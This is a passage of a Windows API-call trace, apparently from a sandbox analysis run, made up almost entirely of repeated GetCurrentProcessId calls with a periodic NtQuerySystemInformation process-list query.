ResultLength=0x1b98eca0*=0x1cde8) returned 0x0 [0130.254] GetCurrentProcessId () returned 0x388 [0130.254] GetCurrentProcessId () returned 0x388 [0130.254] GetCurrentProcessId () returned 0x388 [0130.254] GetCurrentProcessId () returned 0x388 [0130.254] GetCurrentProcessId () returned 0x388 [0130.254] GetCurrentProcessId () returned 0x388 [0130.254] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.255] GetCurrentProcessId () returned 0x388 [0130.256] GetCurrentProcessId () returned 0x388 [0130.256] GetCurrentProcessId () returned 0x388 [0130.256] GetCurrentProcessId () returned 0x388 [0130.256] GetCurrentProcessId () returned 0x388 [0130.256] GetCurrentProcessId () returned 0x388 [0130.256] GetCurrentProcessId () returned 0x388 [0130.256] GetCurrentProcessId () returned 0x388 [0130.256] GetCurrentProcessId () returned 0x388 [0130.256] GetCurrentProcessId () returned 0x388 [0130.256] GetCurrentProcessId () returned 0x388 [0130.256] GetCurrentProcessId () returned 0x388 [0130.256] GetCurrentProcessId () returned 0x388 [0130.256] GetCurrentProcessId () returned 0x388 [0130.256] GetCurrentProcessId () returned 0x388 [0130.256] GetCurrentProcessId () returned 0x388 [0130.256] GetCurrentProcessId () returned 0x388 [0130.256] GetCurrentProcessId () returned 0x388 [0130.259] GetCurrentProcessId () returned 0x388 [0130.259] GetCurrentProcessId () returned 0x388 [0130.259] GetCurrentProcessId () returned 0x388 [0130.259] GetCurrentProcessId () returned 0x388 [0130.259] GetCurrentProcessId () returned 0x388 [0130.259] GetCurrentProcessId () returned 0x388 [0130.259] GetCurrentProcessId () returned 0x388 [0130.259] GetCurrentProcessId () returned 0x388 [0130.259] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.260] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.261] GetCurrentProcessId () returned 0x388 [0130.262] GetCurrentProcessId () returned 0x388 [0130.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1d038) returned 0x0 [0130.908] GetCurrentProcessId () returned 0x388 [0130.908] GetCurrentProcessId () returned 0x388 [0130.908] GetCurrentProcessId () returned 0x388 [0130.908] GetCurrentProcessId () returned 0x388 [0130.908] GetCurrentProcessId () returned 0x388 [0130.908] GetCurrentProcessId () returned 0x388 [0130.908] GetCurrentProcessId () returned 0x388 [0130.908] GetCurrentProcessId () returned 0x388 [0130.909] GetCurrentProcessId () returned 0x388 [0130.909] GetCurrentProcessId () returned 0x388 [0130.909] GetCurrentProcessId () returned 0x388 [0130.909] GetCurrentProcessId () returned 0x388 [0130.909] GetCurrentProcessId () returned 0x388 [0130.909] GetCurrentProcessId () returned 0x388 [0130.909] GetCurrentProcessId () returned 0x388 [0130.909] GetCurrentProcessId () returned 0x388 [0130.909] GetCurrentProcessId () returned 0x388 [0130.909] GetCurrentProcessId () returned 0x388 [0130.909] GetCurrentProcessId () returned 0x388 [0130.909] GetCurrentProcessId () returned 0x388 [0130.909] GetCurrentProcessId () returned 0x388 [0130.909] GetCurrentProcessId () returned 0x388 [0130.909] GetCurrentProcessId () returned 0x388 [0130.910] GetCurrentProcessId () returned 0x388 [0130.910] GetCurrentProcessId () returned 0x388 [0130.910] GetCurrentProcessId () returned 0x388 [0130.910] GetCurrentProcessId () returned 0x388 [0130.910] GetCurrentProcessId () returned 0x388 [0130.910] GetCurrentProcessId () returned 0x388 [0130.910] GetCurrentProcessId () returned 0x388 [0130.910] GetCurrentProcessId () returned 0x388 [0130.910] GetCurrentProcessId () returned 0x388 [0130.910] GetCurrentProcessId () returned 0x388 [0130.910] GetCurrentProcessId () returned 0x388 [0130.910] GetCurrentProcessId () returned 0x388 [0130.910] GetCurrentProcessId () returned 0x388 [0130.910] GetCurrentProcessId () returned 0x388 [0130.910] GetCurrentProcessId () returned 0x388 [0130.910] GetCurrentProcessId () returned 0x388 [0130.910] GetCurrentProcessId () returned 0x388 [0130.910] GetCurrentProcessId () returned 0x388 [0130.911] GetCurrentProcessId () returned 0x388 [0130.911] GetCurrentProcessId () returned 0x388 [0130.911] GetCurrentProcessId () returned 0x388 [0130.911] GetCurrentProcessId () returned 0x388 [0130.911] GetCurrentProcessId () returned 0x388 [0130.911] GetCurrentProcessId () returned 0x388 [0130.911] GetCurrentProcessId () returned 0x388 [0130.911] GetCurrentProcessId () returned 0x388 [0130.911] GetCurrentProcessId () returned 0x388 [0130.911] GetCurrentProcessId () returned 0x388 [0130.911] GetCurrentProcessId () returned 0x388 [0130.911] GetCurrentProcessId () returned 0x388 [0130.911] GetCurrentProcessId () returned 0x388 [0130.911] GetCurrentProcessId () returned 0x388 [0130.911] GetCurrentProcessId () returned 0x388 [0130.911] GetCurrentProcessId () returned 0x388 [0130.911] GetCurrentProcessId () returned 0x388 [0130.912] GetCurrentProcessId () returned 0x388 [0130.912] GetCurrentProcessId () returned 0x388 [0130.912] GetCurrentProcessId () returned 0x388 [0130.912] GetCurrentProcessId () returned 0x388 [0130.912] GetCurrentProcessId () returned 0x388 [0130.912] GetCurrentProcessId () returned 0x388 [0130.912] GetCurrentProcessId () returned 0x388 [0130.912] GetCurrentProcessId () returned 0x388 [0130.912] GetCurrentProcessId () returned 0x388 [0130.912] GetCurrentProcessId () returned 0x388 [0130.912] GetCurrentProcessId () returned 0x388 [0130.912] GetCurrentProcessId () returned 0x388 [0130.912] GetCurrentProcessId () returned 0x388 [0130.912] GetCurrentProcessId () returned 0x388 [0130.912] GetCurrentProcessId () returned 0x388 [0130.913] GetCurrentProcessId () returned 0x388 [0130.913] GetCurrentProcessId () returned 0x388 [0130.913] GetCurrentProcessId () returned 0x388 [0130.913] GetCurrentProcessId () returned 0x388 [0130.913] GetCurrentProcessId () returned 0x388 [0130.913] GetCurrentProcessId () returned 0x388 [0130.913] GetCurrentProcessId () returned 0x388 [0130.913] GetCurrentProcessId () returned 0x388 [0130.913] GetCurrentProcessId () returned 0x388 [0130.913] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.914] GetCurrentProcessId () returned 0x388 [0130.915] GetCurrentProcessId () returned 0x388 [0130.915] GetCurrentProcessId () returned 0x388 [0130.915] GetCurrentProcessId () returned 0x388 [0130.915] GetCurrentProcessId () returned 0x388 [0131.507] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1cde8) returned 0x0 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.524] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.525] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.526] GetCurrentProcessId () returned 0x388 [0131.527] GetCurrentProcessId () returned 0x388 [0131.527] GetCurrentProcessId () returned 0x388 [0131.527] GetCurrentProcessId () returned 0x388 [0131.527] GetCurrentProcessId () returned 0x388 [0131.527] GetCurrentProcessId () returned 0x388 [0132.038] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1cde8) returned 0x0 [0132.047] GetCurrentProcessId () returned 0x388 [0132.047] GetCurrentProcessId () returned 0x388 [0132.047] GetCurrentProcessId () returned 0x388 [0132.047] GetCurrentProcessId () returned 0x388 [0132.047] GetCurrentProcessId () returned 0x388 [0132.047] GetCurrentProcessId () returned 0x388 [0132.047] GetCurrentProcessId () returned 0x388 [0132.047] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.048] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.049] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.050] GetCurrentProcessId () returned 0x388 [0132.051] GetCurrentProcessId () returned 0x388 [0132.051] GetCurrentProcessId () returned 0x388 [0132.051] GetCurrentProcessId () returned 0x388 [0132.051] GetCurrentProcessId () returned 0x388 [0132.051] GetCurrentProcessId () returned 0x388 [0132.051] GetCurrentProcessId () returned 0x388 [0132.051] GetCurrentProcessId () returned 0x388 [0132.051] GetCurrentProcessId () returned 0x388 [0132.051] GetCurrentProcessId () returned 0x388 [0132.051] GetCurrentProcessId () returned 0x388 [0132.051] GetCurrentProcessId () returned 0x388 [0132.051] GetCurrentProcessId () returned 0x388 [0132.051] GetCurrentProcessId () returned 0x388 [0132.565] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1ca58) returned 0x0 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.573] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.574] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.575] GetCurrentProcessId () returned 0x388 [0132.576] GetCurrentProcessId () returned 0x388 [0132.576] GetCurrentProcessId () returned 0x388 [0132.576] GetCurrentProcessId () returned 0x388 [0132.576] GetCurrentProcessId () returned 0x388 [0132.576] GetCurrentProcessId () returned 0x388 [0132.576] GetCurrentProcessId () returned 0x388 [0132.576] GetCurrentProcessId () returned 0x388 [0132.576] GetCurrentProcessId () returned 0x388 [0132.576] GetCurrentProcessId () returned 0x388 [0132.576] GetCurrentProcessId () returned 0x388 [0132.576] GetCurrentProcessId () returned 0x388 [0132.576] GetCurrentProcessId () returned 0x388 [0132.576] GetCurrentProcessId () returned 0x388 [0133.093] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1cca8) returned 0x0 [0133.101] GetCurrentProcessId () returned 0x388 [0133.101] GetCurrentProcessId () returned 0x388 [0133.101] GetCurrentProcessId () returned 0x388 [0133.101] GetCurrentProcessId () returned 0x388 [0133.101] GetCurrentProcessId () returned 0x388 [0133.101] GetCurrentProcessId () returned 0x388 [0133.101] GetCurrentProcessId () returned 0x388 [0133.101] GetCurrentProcessId () returned 0x388 [0133.101] GetCurrentProcessId () returned 0x388 [0133.101] GetCurrentProcessId () returned 0x388 [0133.101] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.102] GetCurrentProcessId () returned 0x388 [0133.103] GetCurrentProcessId () returned 0x388 [0133.103] GetCurrentProcessId () returned 0x388 [0133.103] GetCurrentProcessId () returned 0x388 [0133.103] GetCurrentProcessId () returned 0x388 [0133.103] GetCurrentProcessId () returned 0x388 [0133.103] GetCurrentProcessId () returned 0x388 [0133.103] GetCurrentProcessId () returned 0x388 [0133.103] GetCurrentProcessId () returned 0x388 [0133.103] GetCurrentProcessId () returned 0x388 [0133.103] GetCurrentProcessId () returned 0x388 [0133.103] GetCurrentProcessId () returned 0x388 [0133.103] GetCurrentProcessId () returned 0x388 [0133.103] GetCurrentProcessId () returned 0x388 [0133.103] GetCurrentProcessId () returned 0x388 [0133.103] GetCurrentProcessId () returned 0x388 [0133.106] GetCurrentProcessId () returned 0x388 [0133.106] GetCurrentProcessId () returned 0x388 [0133.106] GetCurrentProcessId () returned 0x388 [0133.106] GetCurrentProcessId () returned 0x388 [0133.106] GetCurrentProcessId () returned 0x388 [0133.106] GetCurrentProcessId () returned 0x388 [0133.106] GetCurrentProcessId () returned 0x388 [0133.106] GetCurrentProcessId () returned 0x388 [0133.106] GetCurrentProcessId () returned 0x388 [0133.106] GetCurrentProcessId () returned 0x388 [0133.106] GetCurrentProcessId () returned 0x388 [0133.106] GetCurrentProcessId () returned 0x388 [0133.106] 